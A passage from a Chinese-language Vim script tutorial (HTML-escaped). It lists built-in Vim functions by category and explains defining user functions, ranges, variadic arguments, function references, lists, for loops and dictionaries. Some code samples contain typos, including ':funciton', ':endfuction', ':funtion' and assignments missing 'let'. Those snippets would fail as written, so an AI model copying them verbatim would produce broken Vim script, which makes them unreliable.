:call setline(&quot;.&quot;,repl)
getline()函数从当前缓冲区获取一行文本 ，其参数时行号。.代表光标所在行。
substitute()函数的功能和:substitute命令相似。它的第一个参数是要执行替换操作的源字符串，第二个参数时一个匹配模式，第三个参数时替换字符串，最后一个参数是一个标志位。
setline()函数将第一个参数表示的行的文本置为第二个参数表示的字符串。本例中光标所在行被substitute()函数的结果所替换。因此这三条语句的效果等同于：&lt;&#x2F;p&gt;
&lt;p&gt;:substitute&#x2F;\a&#x2F;*&#x2F;g
如果你在调用substitute()之前或之后有更多的事情要做的话，用函数的方式就会更有 趣了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org5f7698f&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;han-shu&quot;&gt;函数&lt;&#x2F;h2&gt;
&lt;p&gt;Vim 提供的函数很多。这里我们以它们的用途分类列出。你可以在 functions 找到一个以字母顺序排列的列表。在函数名上使用CTRL-] 可以跳转至该函数的详细说明。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgfd3aea0&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-fu-chuan-cao-zuo&quot;&gt;字符串操作:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
nr2char()	通过 ASCII 码值取得一个字符&lt;&#x2F;p&gt;
&lt;p&gt;char2nr()	取得字符的 ASCII 码值&lt;&#x2F;p&gt;
&lt;p&gt;str2nr()	把字符串转换为数值
str2float()	把字符串转换为浮点数
printf()	根据 % 项目格式化字符串
escape()	将字符串通过 ‘\’ 转义
shellescape()	转义字符串用于外壳命令
fnameescape()	转义 Vim 命令使用的文件名
tr()	把一组字符翻译成另一组
strtrans()	将一个字符串变成可显示的格式
tolower()	将一个字符串转换为小写
toupper()	将一个字符串转换为大写
match()	字符串中的模式匹配处
matchend()	字符串中的模式匹配结束处
matchstr()	在一个字符串中匹配一个模式
matchlist()	类似matchstr()，同时返回子匹配
stridx()	子串在母串中第一次出现的地方
strridx()	子串在母串中最后一次出现的地方
strlen()	字符串长度
substitute()	用一个字符串替换一个匹配的模式
submatch()	取得 :s 和substitute() 匹配中指定的某个匹配
strpart()	取得字符串的一部分
expand()	展开特殊的关键字
iconv()	转换文本编码格式
byteidx()	字符串里字符的字节位置
repeat()	重复字符串多次
eval()	计算字符串表达式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org5a92a1b&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;lie-biao-chu-li&quot;&gt;列表处理:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
get()	得到项目，错误索引不报错
len()	列表的项目总数
empty()	检查列表是否为空
insert()	在列表某处插入项目
add()	在列表后附加项目
extend()	在列表后附加另一个列表
remove()	删除列表里一或多个项目
copy()	建立列表的浅备份
deepcopy()	建立列表的完整备份
filter()	删除列表的选定项目
map()	改变每个列表项目
sort()	给列表排序
reverse()	反转列表项目的顺序
split()	分割字符串成为列表
join()	合并列表项目成为字符串
range()	返回数值序列的列表
string()	列表的字符串表示形式
call()	调用函数，参数以列表形式提供
index()	列表里某值的索引
max()	列表项目的最大值
min()	列表项目的最小值
count()	计算列表里某值的出现次数
repeat()	重复列表多次&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org376be2b&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zi-dian-chu-li&quot;&gt;字典处理:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
get()	得到项目，错误的键不报错
len()	字典项目的总数
has&lt;sub&gt;key&lt;&#x2F;sub&gt;()	检查某键是否出现在字典里
empty()	检查字典是否为空
remove()	删除字典的项目
extend()	从一个字典增加项目到另一个字典
filter()	删除字典的选定项目
map()	改变每个字典项目
keys()	得到字典的键列表
values()	得到字典的值列表
items()	得到字典的键-值组对的列表
copy()	建立字典的浅备份
deepcopy()	建立字典的完整备份
string()	字典的字符串表示形式
max()	字典项目的最大值
min()	字典项目的最小值
count()	计算字典里某值的出现次数&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgefa4bdc&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;fu-dian-shu-ji-suan&quot;&gt;浮点数计算:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
float2nr()	把浮点数转换为数值
abs()	绝对值 (也适用于数值)
round()	四舍五入
ceil()	向上取整
floor()	向下取整
trunc()	删除小数点后的值
log10()	以 10 为底的对数
pow()	x 的 y 次方
sqrt()	平方根
sin()	正弦
cos()	余弦
tan()	正切
asin()	反正弦
acos()	反余弦
atan()	反正切
atan2()	反正切
sinh()	双曲正弦
cosh()	双曲余弦
tanh()	双曲正切&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgd84e566&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;qi-ta-ji-suan&quot;&gt;其它计算:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
and()	按位与
invert()	按位取反
or()	按位或
xor()	按位异或&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org25c9412&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;bian-liang&quot;&gt;变量:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
type()	变量的类型
islocked()	检查变量是否加锁
function()	得到函数名对应的函数引用
getbufvar()	取得指定缓冲区中的变量值
setbufvar()	设定指定缓冲区中的变量值
getwinvar()	取得指定窗口的变量值
gettabvar()	取得指定标签页的变量值
gettabwinvar()	取得指定窗口和标签页的变量值
setwinvar()	设定指定窗口的变量值
settabvar()	设定指定标签页的变量值
settabwinvar()	设定指定窗口和标签页的变量值
garbagecollect()	可能情况下释放内存&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgcd29e7b&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;guang-biao-he-wei-zhi-biao-ji-wei-zhi&quot;&gt;光标和位置标记位置:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
col()	光标或位置标记所在的列
virtcol()	光标或位置标记所在的屏幕列
line()	光标或位置标记所在行
wincol()	光标所在窗口列
winline()	光标所在窗口行
cursor()	置光标于 行&#x2F;列 处
getpos()	得到光标、位置标记等的位置
setpos()	设置光标、位置标记等的位置
byte2line()	取得某字节位置所在行号
line2byte()	取得某行之前的字节数
diff&lt;sub&gt;filler&lt;&#x2F;sub&gt;()	得到一行之上的填充行数目&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orga662f9f&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cao-zuo-dang-qian-huan-chong-qu-de-wen-ben&quot;&gt;操作当前缓冲区的文本:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
getline()	从缓冲区中取一行
setline()	替换缓冲区中的一行
append()	附加行或行的列表到缓冲区
indent()	某行的缩进
cindent()	根据C 缩进法则的某行的缩进
lispindent()	根据Lisp 缩进法则的某行的缩进
nextnonblank()	查找下一个非空白行
prevnonblank()	查找前一个非空白行
search()	查找模式的匹配
searchpos()	寻找模式的匹配
searchpair()	查找start&#x2F;skip&#x2F;end 配对的另一端
searchpairpos()	查找start&#x2F;skip&#x2F;end 配对的另一端
searchdecl()	查找名字的声明&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgeb58a69&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;xi-tong-diao-yong-ji-wen-jian-cao-zuo&quot;&gt;系统调用及文件操作:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
glob()	展开通配符
globpath()	在几个路径中展开通配符
findfile()	在目录列表里查找文件
finddir()	在目录列表里查找目录
resolve()	找到一个快捷方式所指
fnamemodify()	改变文件名
pathshorten()	缩短路径里的目录名
simplify()	简化路径，不改变其含义
executable()	检查一个可执行程序是否存在
filereadable()	检查一个文件可读与否
filewritable()	检查一个文件可写与否
getfperm()	得到文件权限
getftype()	得到文件类型
isdirectory()	检查一个目录是否存在
getfsize()	取得文件大小
getcwd()	取得当前工作路径
haslocaldir()	检查当前窗口是否使用过 :lcd
tempname()	取得一个临时文件的名称
mkdir()	建立新目录
delete()	删除文件
rename()	重命名文件
system()	取得一个 shell 命令的结果
hostname()	系统的名称
readfile()	读入文件到一个行列表
writefile()	把一个行列表写到文件里&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgbe9cf53&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ri-qi-he-shi-jian&quot;&gt;日期和时间:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
getftime()	得到文件的最近修改时间
localtime()	得到以秒计的当前时间
strftime()	把时间转换为字符串
reltime()	得到准确的当前或者已经经过的时间
reltimestr()	把reltime() 的结果转换为字符串&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgfb0465f&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;huan-chong-qu-chuang-kou-ji-can-shu-lie-biao&quot;&gt;缓冲区，窗口及参数列表:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
argc()	参数列表项数
argidx()	参数列表中的当前位置
argv()	从参数列表中取得一项
bufexists()	检查缓冲区是否存在
buflisted()	检查缓冲区是否存在并在列表内
bufloaded()	检查缓冲区是否存在并已加载
bufname()	取得某缓冲区名
bufnr()	取得某缓冲区号
tabpagebuflist()	得到标签页里的缓冲区列表
tabpagenr()	得到标签页号
tabpagewinnr()	类似于特定标签页里的winnr()
winnr()	取得当前窗口的窗口号
bufwinnr()	取得某缓冲区的窗口号
winbufnr()	取得某窗口的缓冲区号
getbufline()	得到指定缓冲区的行列表&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3e787ed&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ming-ling-xing&quot;&gt;命令行:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
getcmdline()	得到当前命令行
getcmdpos()	得到命令行里的光标位置
setcmdpos()	设置命令行里的光标位置
getcmdtype()	得到当前命令行的类型&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org185e659&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;quickfixhe-wei-zhi-lie-biao&quot;&gt;quickfix和位置列表:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
getqflist()	quickfix错误的列表
setqflist()	修改quickfix列表
getloclist()	位置列表项目的列表
setloclist()	修改位置列表&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3281adc&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;cha-ru-mo-shi-bu-quan&quot;&gt;插入模式补全:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
complete()	设定要寻找的匹配
complete&lt;sub&gt;add&lt;&#x2F;sub&gt;()	加入要寻找的匹配
complete&lt;sub&gt;check&lt;&#x2F;sub&gt;()	检查补全是否被中止
pumvisible()	检查弹出菜单是否显示&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org4512cef&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;zhe-die&quot;&gt;折叠:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
foldclosed()	检查某一行是否被折叠起来
foldclosedend()	类似foldclosed() 但同时返回最后一行
foldlevel()	检查某行的折叠级别
foldtext()	产生折叠关闭时所显示的行
foldtextresult()	得到关闭折叠显示的文本&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org76819e6&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;yu-fa-he-gao-liang&quot;&gt;语法和高亮:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
clearmatches()	清除matchadd() 和:match 诸命令定义的所有匹配
getmatches()	得到matchadd() 和:match 诸命令定义的所有匹配
hlexists()	检查高亮组是否存在
hlID()	取得高亮组标示
synID()	取得某位置的语法标示
synIDattr()	取得某语法标示的特定属性
synIDtrans()	取得翻译后的语法标示
synstack()	取得指定位置的语法标示的列表
synconcealed()	取得和隐藏 (conceal) 相关的信息
diff&lt;sub&gt;hlID&lt;&#x2F;sub&gt;()	得到diff 模式某个位置的高亮标示
matchadd()	定义要高亮的模式 (一个 “匹配”)
matcharg()	得到 :match 参数的相关信息
matchdelete()	删除matchadd() 或:match 诸命令定义的匹配
setmatches()	恢复getmatches() 保存的匹配列表&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgbc7cf53&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;pin-xie&quot;&gt;拼写:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
spellbadword()	定位光标所在或之后的错误拼写的单词
spellsuggest()	返回建议的拼写校正列表
soundfold()	返回 “发音相似” 的单词等价形式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org179c6bf&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;li-shi-ji-lu&quot;&gt;历史记录:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
histadd()	在历史记录中加入一项
histdel()	从历史记录中删除一项
histget()	从历史记录中提取一项
histnr()	取得某历史记录的最大索引号&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orge5ea200&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;jiao-hu&quot;&gt;交互:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
browse()	显示文件查找器
browsedir()	显示目录查找器
confirm()	让用户作出选择
getchar()	从用户那里取得一个字符输入
getcharmod()	取得最近键入字符的修饰符
feedkeys()	把字符放到预输入队列中
input()	从用户那里取得一行输入
inputlist()	让用户从列表里选择一个项目
inputsecret()	从用户那里取得一行输入，不回显
inputdialog()	从用户那里取得一行输入，使用对话框
inputsave()	保存和清除预输入 (typeahead)
inputrestore()	恢复预输入 (译注: 参阅input())&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org791062d&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;gui&quot;&gt;GUI:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
getfontname()	得到当前使用的字体名
getwinposx()	GUI Vim 窗口的 X 位置
getwinposy()	GUI Vim 窗口的 Y 位置&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org9bd399d&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;vim-fu-wu-qi&quot;&gt;Vim 服务器:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
serverlist()	返回服务器列表
remote&lt;sub&gt;send&lt;&#x2F;sub&gt;()	向 Vim 服务器发送字符命令
remote&lt;sub&gt;expr&lt;&#x2F;sub&gt;()	在 Vim 服务器内对一个表达式求值
server2client()	向一个服务器客户发送应答
remote&lt;sub&gt;peek&lt;&#x2F;sub&gt;()	检查一个服务器是否已经应答
remote&lt;sub&gt;read&lt;&#x2F;sub&gt;()	从一个服务器读取应答
foreground()	将一个 Vim 窗口移至前台
remote&lt;sub&gt;foreground&lt;&#x2F;sub&gt;()	将一个 Vim 服务器窗口移至前台&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org4c36279&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;chuang-kou-da-xiao-he-wei-zhi&quot;&gt;窗口大小和位置:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
winheight()	取得某窗口的高度
winwidth()	取得某窗口的宽度
winrestcmd()	恢复窗口大小的返回命令
winsaveview()	得到当前窗口的视图
winrestview()	恢复保存的当前窗口的视图&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org803cf7c&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;ying-she&quot;&gt;映射:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
hasmapto()	检查映射是否存在
mapcheck()	检查匹配的映射是否存在
maparg()	取得映射的右部 (rhs)
wildmenumode()	检查 wildmode 是否激活&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org3141c44&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h3 id=&quot;za-xiang&quot;&gt;杂项:&lt;&#x2F;h3&gt;
&lt;p&gt;name	func
mode()	取得当前编辑状态
visualmode()	最近一次使用过的可视模式
exists()	检查变量，函数等是否存在
has()	检查 Vim 是否支持某特性
changenr()	返回最近的改变号
cscope&lt;sub&gt;connection&lt;&#x2F;sub&gt;()	检查有无与cscope的连接
did&lt;sub&gt;filetype&lt;&#x2F;sub&gt;()	检查某文件类型自动命令是否已经使用
eventhandler()	检查是否在一个事件处理程序内
getpid()	得到 Vim 的进程号
libcall()	调用一个外部库函数
libcallnr()	同上，但返回一个数值
getreg()	取得寄存器内容
getregtype()	取得寄存器类型
setreg()	设定寄存器内容及类型
taglist()	得到匹配标签的列表
mzeval()	计算MzScheme 表达式&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgc6a6fed&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;7-ding-yi-yi-ge-han-shu&quot;&gt;7 定义一个函数&lt;&#x2F;h1&gt;
&lt;p&gt;Vim允许你定义自己的函数，基本的函数声明如下：&lt;&#x2F;p&gt;
&lt;p&gt;:function {name}({var1},{var2},…)&lt;&#x2F;p&gt;
&lt;p&gt;{body}&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
注意 函数名必须以大写字母开始。
下面来定义一个返回两数中较小者的函数。从下面这行开始：&lt;&#x2F;p&gt;
&lt;p&gt;function Min(num1,num2)
这将告诉 Vim 这个函数名叫 Min 并且带两个参数: num1 和 num2。
要做的第一件事就是看看哪个数值小一些:&lt;&#x2F;p&gt;
&lt;p&gt;if a:num1 &amp;lt; a:num2&lt;&#x2F;p&gt;
&lt;p&gt;特殊前缀a:告诉Vim该变量是一个函数参数。我们把最小的数值赋给smaller变量：&lt;&#x2F;p&gt;
&lt;p&gt;if a:num1 &amp;lt; a:num2
let smaller = a:num1
else
let smaller = a:num2
endif&lt;&#x2F;p&gt;
&lt;p&gt;smaller是一个局部变量。一个在函数内部使用的变量，除非被加上类似g:、a:、s:的前缀，都是局部变量。
备注 为了从一个函数内部访问一个全局变量你必须在前面加上 g:。因此在一个函数内 g:today 表示全局变量 today，而 today 是另外一个仅用于该函数内的局部变量。
现在你可以使用 :return 语句来把最小的数值返回给调用者了。最后，你需要结束这个函数:&lt;&#x2F;p&gt;
&lt;p&gt;return smaller&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
下面时这个函数的完整定义：&lt;&#x2F;p&gt;
&lt;p&gt;:funciton Min(num1,num2)&lt;&#x2F;p&gt;
&lt;p&gt;if a:num1&amp;lt;a:num2
smaller = a:num1
else
smaller = a:num2
endif
return smaller&lt;&#x2F;p&gt;
&lt;p&gt;:endfuction
调用用户自定义函数的方式和调用内置函数完全一致。仅仅是函数名不同而已。上面的Min函数可以这样来使用:&lt;&#x2F;p&gt;
&lt;p&gt;:echo Min(5,8)
只有这时函数才被 Vim 解释并执行。如果函数中有类似未定义的变量之类的错误，你将得到一个错误信息。这些错误在定义函数时是不会被检测到的。
当一个函数执行到 :endfunction 或 :return 语句没有带参数时，该函数返回零。
如果要重定义一个已经存在的函数，在 function 命令后加上!:&lt;&#x2F;p&gt;
&lt;p&gt;:function! Min(num1,num2,num3)
范围的使用&lt;&#x2F;p&gt;
&lt;p&gt;:call 命令可以带一个行表示的范围。这可以分成两种情况。当一个函数定义时给出了range 关键字时，表示它会自行处理该范围。
Vim 在调用这样一个函数时给它传递两个参数: a:firstline 和 a:lastline，用来表示该范围所包括的第一行和最后一行。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:funtion Count&lt;sub&gt;words&lt;&#x2F;sub&gt;() range&lt;&#x2F;p&gt;
&lt;p&gt;let lnum = a:firstline
let n = 0
while lnum &amp;lt;= a:lastline
let n = n + len(split(getline(lnum)))
let lnum = lnum + 1
endwhile
echo &quot;found&quot; . n . &quot;words&quot;&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
你可以这样调用上面的函数:&lt;&#x2F;p&gt;
&lt;p&gt;:10,30call Count&lt;sub&gt;words&lt;&#x2F;sub&gt;()
这个函数将被调用一次并显示字数。
另一种使用范围的方式是在定义函数时不给出 range 关键字。Vim 将把光标移动到范围内的每一行，并分别对该行调用此函数。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:function Number()&lt;&#x2F;p&gt;
&lt;p&gt;echo &quot;line&quot;.line(&quot;.&quot;).&quot;contains&quot;.getline(&quot;.&quot;)&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
如果你用下面的方式调用该函数:&lt;&#x2F;p&gt;
&lt;p&gt;:10,15call Number()
它将被执行六次。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org16f64ce&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;ke-bian-can-shu&quot;&gt;可 变 参 数&lt;&#x2F;h2&gt;
&lt;p&gt;Vim 允许你定义参数个数可变的函数。下面的例子给出一个至少有一个参数 (start)，但可以多达 20 个附加参数的函数:&lt;&#x2F;p&gt;
&lt;p&gt;:function Show(start, …)
变量 a:1 表示第一个可选的参数，a:2 表示第二个，如此类推。变量 a:0 表示这些参数的个数。例如:&lt;&#x2F;p&gt;
&lt;p&gt;:function Show(start, …)&lt;&#x2F;p&gt;
&lt;p&gt;echohl Title
echo &quot;start is &quot; . a:start
echohl None
let index = 1
while index &amp;lt;= a:0
echo &quot;  Arg &quot; . index . &quot; is &quot; . a:{index}
let index = index + 1
endwhile
echo &quot;&quot;&lt;&#x2F;p&gt;
&lt;p&gt;:endfunction
上例中 :echohl 命令被用来给出接下来的 :echo 命令如何高亮输出。:echohl None 终止高亮。:echon 命令除了不输出换行符外，和 :echo 一样。
你可以用a:000变量，它是所有 … 参数的列表。见 a:000。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org9fa8ecc&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;han-shu-qing-dan&quot;&gt;函 数 清 单&lt;&#x2F;h2&gt;
&lt;p&gt;:function 命令列出所有用户自定义的函数及其参数:&lt;&#x2F;p&gt;
&lt;p&gt;:function
function Show(start, …)
function GetVimIndent()
function SetSyn(name)
如果要查看该函数具体做什么，用该函数名作为 :function 命令的参数即可:&lt;&#x2F;p&gt;
&lt;p&gt;:function SetSyn
if &amp;amp;syntax == &#x27;&#x27;
let &amp;amp;syntax = a:name
endif
endfunction&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org871d87c&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;diao-shi&quot;&gt;调 试&lt;&#x2F;h2&gt;
&lt;p&gt;调试或者遇到错误信息时，行号是很有用的。有关调试模式请参阅 debug-scripts。
你也可以通过将 verbose 选项设为 12 以上来察看所有函数调用。将该参数设为15 或以上可以查看所有被执行的行。&lt;&#x2F;p&gt;
&lt;p&gt;删 除 函 数&lt;&#x2F;p&gt;
&lt;p&gt;为了删除Show()函数:&lt;&#x2F;p&gt;
&lt;p&gt;:delfunction Show
如果该函数不存在，你会得到一个错误信息。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org0017a29&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;han-shu-yin-yong&quot;&gt;函 数 引 用&lt;&#x2F;h2&gt;
&lt;p&gt;有时使变量指向一个或另一个函数可能有用。要这么做，用function()函数。它把函数名转换为引用:&lt;&#x2F;p&gt;
&lt;p&gt;:let result = 0     &quot; 或 1
:function! Right()&lt;&#x2F;p&gt;
&lt;p&gt;return &#x27;Right!&#x27;&lt;&#x2F;p&gt;
&lt;p&gt;:endfunc
:function! Wrong()&lt;&#x2F;p&gt;
&lt;p&gt;return &#x27;Wrong!&#x27;&lt;&#x2F;p&gt;
&lt;p&gt;:endfunc&lt;&#x2F;p&gt;
&lt;p&gt;:if result == 1&lt;&#x2F;p&gt;
&lt;p&gt;let Afunc = function(&#x27;Right&#x27;)&lt;&#x2F;p&gt;
&lt;p&gt;:else&lt;&#x2F;p&gt;
&lt;p&gt;let Afunc = function(&#x27;Wrong&#x27;)&lt;&#x2F;p&gt;
&lt;p&gt;:endif
:echo call(Afunc, [])
Wrong!
注意 保存函数引用的变量名必须用大写字母开头，不然和内建函数的名字会引起混淆。
调用变量指向的函数可以用call()函数。它的第一个参数是函数引用，第二个参数是参数构成的列表。
和字典组合使用函数引用是最常用的，下一节解释。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org331687f&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;8-lie-biao-he-zi-dian&quot;&gt;8 列表和字典&lt;&#x2F;h1&gt;
&lt;p&gt;到目前为止，我们用了基本类型字符串和数值。Vim 也支持两种复合类型: 列表和字典。
列表是事物的有序序列。这里的事物包括各种类型的值。所以你可以建立数值列表、列表列表甚至混合项目的列表。要建立包含三个字符串的列表:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = [&#x27;aap&#x27;, &#x27;mies&#x27;, &#x27;noot&#x27;]
列表项目用方括号包围，逗号分割。要建立空列表:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = []
用add()函数可以为列表加入项目:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = []
:call add(alist, &#x27;foo&#x27;)
:call add(alist, &#x27;bar&#x27;)
:echo alist
[&#x27;foo&#x27;, &#x27;bar&#x27;]
列表的连接用+完成:&lt;&#x2F;p&gt;
&lt;p&gt;:echo alist + [&#x27;foo&#x27;, &#x27;bar&#x27;]
[&#x27;foo&#x27;, &#x27;bar&#x27;, &#x27;foo&#x27;, &#x27;bar&#x27;]
或者，你可以直接用extend()函数扩展一个列表:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = [&#x27;one&#x27;]
:call extend(alist, [&#x27;two&#x27;, &#x27;three&#x27;])
:echo alist
[&#x27;one&#x27;, &#x27;two&#x27;, &#x27;three&#x27;]
注意 这里如果用add()，效果不一样:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = [&#x27;one&#x27;]
:call add(alist, [&#x27;two&#x27;, &#x27;three&#x27;])
:echo alist
[&#x27;one&#x27;, [&#x27;two&#x27;, &#x27;three&#x27;]]
add()的第二个参数作为单个项目被加入。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;orgae28100&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;for-xun-huan&quot;&gt;FOR 循 环&lt;&#x2F;h2&gt;
&lt;p&gt;使用列表的一个好处是可以在上面进行叠代:&lt;&#x2F;p&gt;
&lt;p&gt;:let alist = [&#x27;one&#x27;, &#x27;two&#x27;, &#x27;three&#x27;]
:for n in alist&lt;&#x2F;p&gt;
&lt;p&gt;echo n&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
one
two
three
这段代码循环遍历列表 alist 的每个项目，分别把它们的值赋给变量 n。for 循环通用的形式是:&lt;&#x2F;p&gt;
&lt;p&gt;:for {varname} in {listexpression}&lt;&#x2F;p&gt;
&lt;p&gt;{commands}&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
要循环若干次，你需要长度为给定次数的列表。range()函数建立这样的列表:&lt;&#x2F;p&gt;
&lt;p&gt;:for a in range(3)&lt;&#x2F;p&gt;
&lt;p&gt;echo a&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
0
1
2
注意range()产生的列表的第一个项目为零，而最后一个项目比列表的长度小一。
你也可以指定最大值、步进，反向也可以:&lt;&#x2F;p&gt;
&lt;p&gt;:for a in range(8, 4, -2)&lt;&#x2F;p&gt;
&lt;p&gt;echo a&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
8
6
4
更有用的示例，循环遍历缓冲区的所有行:&lt;&#x2F;p&gt;
&lt;p&gt;:for line in getline(1, 20)&lt;&#x2F;p&gt;
&lt;p&gt;if line =~ &quot;Date: &quot;
echo matchstr(line, &#x27;Date: \zs.*&#x27;)
endif&lt;&#x2F;p&gt;
&lt;p&gt;:endfor
察看行 1 到 20 (包含)，并回显那里找到的任何日期。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;a id=&quot;org078c3c1&quot;&gt;&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;zi-dian&quot;&gt;字 典&lt;&#x2F;h2&gt;
&lt;p&gt;字典保存键-值组对。如果知道键，你可以快速查找值。字典用花括号形式建立:&lt;&#x2F;p&gt;
&lt;p&gt;:let uk2nl = {&#x27;one&#x27;: &#x27;een&#x27;, &#x27;two&#x27;: &#x27;twee&#x27;, &#x27;three&#x27;: &#x27;drie&#x27;}
现在你可以把键放在方括号里以查找单词:&lt;&#x2F;p&gt;
